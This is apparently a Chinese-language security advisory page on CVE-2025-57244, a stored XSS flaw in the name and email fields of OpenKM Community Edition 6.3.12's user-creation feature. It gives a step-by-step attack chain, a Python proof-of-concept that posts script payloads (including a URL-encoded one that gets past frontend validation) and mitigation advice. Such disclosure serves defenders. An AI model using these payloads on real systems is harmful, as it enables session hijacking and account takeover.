IPBUF安全漏洞报告
English
CVE-2025-57244 CVSS 5.4 中危

CVE-2025-57244 OpenKM社区版存储型XSS漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-57244
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenKM Community Edition

相关标签

存储型XSS跨站脚本攻击OpenKMCVE-2025-57244输入验证绕过Web应用安全内容管理平台

漏洞概述

CVE-2025-57244是OpenKM Community Edition 6.3.12版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于用户账户创建界面,攻击者可以通过在Name字段中直接注入脚本标签,或在Email字段中通过修改POST请求并插入编码的脚本标签来绕过前端验证机制,成功执行恶意JavaScript代码。由于是存储型XSS,恶意脚本会被永久保存在服务器端,所有访问该用户信息的管理员或其他用户都会触发恶意代码,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。此漏洞的CVSS评分为5.4,属于中危级别,需要低权限用户配合用户交互才能利用,但攻击成功后影响范围广泛。

技术细节

该漏洞的核心问题在于OpenKM Community Edition 6.3.12在用户创建功能中缺乏充分的输入验证和输出编码。Name字段直接接受并存储用户输入的脚本标签(如<script>alert(1)</script>),而Email字段虽然在前端有基础验证,但可以通过拦截并修改POST请求,在参数中插入URL编码的脚本标签(如%3Cscript%3Ealert(1)%3C/script%3E)来绕过验证。由于服务器端未对用户输入进行严格的HTML转义处理,存储的恶意脚本会在用户查看账户信息时被浏览器解析执行。攻击者利用此漏洞需要具备低权限用户账户,并诱使管理员或目标用户访问包含恶意脚本的页面,从而触发XSS攻击。防御此类漏洞需要在服务器端对所有用户输入进行严格的白名单验证和HTML实体编码。

攻击链分析

STEP 1
步骤1
攻击者获取OpenKM系统的低权限账户,登录到用户创建界面
STEP 2
步骤2
攻击者在Name字段中直接注入恶意脚本标签(如<script>alert(1)</script>),或修改Email字段的POST请求添加编码的脚本标签以绕过前端验证
STEP 3
步骤3
服务器端未对用户输入进行充分的HTML转义处理,直接将恶意脚本存储到数据库中
STEP 4
步骤4
管理员或目标用户访问用户账户信息页面时,浏览器解析并执行存储的恶意JavaScript代码
STEP 5
步骤5
攻击者通过XSS成功窃取用户会话Cookie、劫持账户或进行进一步的社会工程攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-57244 OpenKM Stored XSS PoC # Affected: OpenKM Community Edition 6.3.12 import requests import urllib.parse target_url = "http://target-ip:8080/OpenKM" login_url = f"{target_url}/j_spring_security_check" create_user_url = f"{target_url}/admin/user" session = requests.Session() # Step 1: Login with low privilege account login_data = { "j_username": "attacker", "j_password": "password" } session.post(login_url, data=login_data) # Step 2: Method 1 - XSS via Name field xss_payload_name = "<script>alert(document.cookie)</script>" user_data_name = { "usr_id": "testuser1", "usr_name": xss_payload_name, "usr_email": "[email protected]", "usr_password": "Test123456", "usr_active": "true" } session.post(create_user_url, data=user_data_name) # Step 3: Method 2 - XSS via Email field (bypass frontend validation) xss_payload_email_encoded = urllib.parse.quote("<script>alert('XSS')</script>") user_data_email = { "usr_id": "testuser2", "usr_name": "Test User", "usr_email": f"test{xss_payload_email_encoded}@example.com", "usr_password": "Test123456", "usr_active": "true" } session.post(create_user_url, data=user_data_email) print("PoC executed. Check if XSS is triggered when viewing user accounts.")

影响范围

OpenKM Community Edition 6.3.12

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)禁用或限制用户创建功能,仅允许管理员创建账户;2)实施严格的输入过滤规则,在后端拒绝包含<script>、<img>、<svg>等危险标签的输入;3)配置Web应用防火墙(WAF)规则检测和拦截XSS攻击特征;4)对所有输出内容进行HTML编码处理;5)加强用户权限管理,限制低权限用户访问敏感功能;6)监控日志及时发现异常的用户创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表